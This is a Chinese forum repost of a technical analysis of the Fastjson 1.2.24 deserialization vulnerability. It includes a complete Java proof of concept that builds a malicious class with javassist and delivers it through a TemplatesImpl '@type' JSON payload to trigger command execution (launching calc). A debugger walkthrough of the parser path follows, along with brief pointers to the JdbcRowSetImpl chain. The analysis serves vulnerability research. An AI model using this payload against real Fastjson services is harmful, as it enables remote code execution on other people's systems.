Fastjson反序列化分析

打印 上一主题 下一主题

主题 863|帖子 863|积分 2589

依赖

先研究1.2.24版本的,版本高了就有waf了,不过也能绕,高版本以后再说
  1. <dependency>
  2.     <groupId>com.alibaba</groupId>
  3.     <artifactId>fastjson</artifactId>
  4.     <version>1.2.24</version>
  5. </dependency>
  6. <dependency>
  7.     <groupId>mysql</groupId>
  8.     <artifactId>mysql-connector-java</artifactId>
  9.     <version>5.1.46</version>
  10. </dependency>
  11. <dependency>
  12.     <groupId>org.javassist</groupId>
  13.     <artifactId>javassist</artifactId>
  14.     <version>3.29.1-GA</version>
  15. </dependency>
复制代码
Fastjson之任意get,set调用

TemplatesImpl链

老样子定义恶意类,然后打TemplatesImpl的defineClass
  1. package org.example;
  2. import com.alibaba.fastjson.JSON;
  3. import com.alibaba.fastjson.parser.Feature;
  4. import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
  5. import javassist.*;
  6. import java.io.IOException;
  7. import java.util.Base64;
  8. public class Main {
  9.     public static void main(String[] args) throws CannotCompileException, NotFoundException, IOException {
  10.         ClassPool pool = new ClassPool();
  11.         pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
  12.         CtClass cc = pool.makeClass("Cat");
  13.         String cmd = "java.lang.Runtime.getRuntime().exec("calc");";
  14.         cc.makeClassInitializer().insertBefore(cmd);
  15.         String randomClassName = "EvilCat" + System.nanoTime();
  16.         cc.setName(randomClassName);
  17.         cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
  18.         byte[] codes = cc.toBytecode();
  19.         String value = Base64.getEncoder().encodeToString(codes);
  20.         String payload = "{"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes": [""+value+""], "_name": "c.c", "_tfactory": {}, "_outputProperties": {},"_name": "a", "_version": "1.0", "allowedProtocols": "all"}";
  21.         // 注意这里这些属性都是私有属性,所以得设置Feature.SupportNonPublicField来保证可以对私有属性赋值
  22.         JSON.parseObject(payload, Feature.SupportNonPublicField);
  23.     }
  24. }
复制代码
打个断点进行分析,断点打在JSON.parseObject,进入parse

这里配置了我们传入的Feature.SupportNonPublicField为true

继承跟进parse

继承跟进parse

这里对token进行选择,我们的token在DefaultJSONParser中被赋值了12,继承跟进,LBRACE就是12

进入parseObject,取到key为@type

加载key的value也就是我们传入的TemplatsImpl

跟进loadClass

往下走,获取一个类加载器来加载我们的恶意类,然后放入一个map中

返回之后往下走,调用getDeserializer将恶意类进行JSON反序列化

跟进该方法,一系列的判断,没啥用,直接过,来到这,创建了个JavaBeanDeserializer

跟进该方法,又是一系列的判断,略过来到这里,调用了JavaBeanDeserializer

跟进该构造方法

跟进build方法,这里循环调用恶意类的方法,调用到getOutProperties,define恶意类

set也是一样
JdbcRowSetImpl链

之前的JNDI注入分析文章已经分析过了
https://tttang.com/archive/1579/#toc_
https://www.cnblogs.com/F12-blog/p/18100120

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

小秦哥

金牌会员
这个人很懒什么都没写!
快速回复 返回顶部 返回列表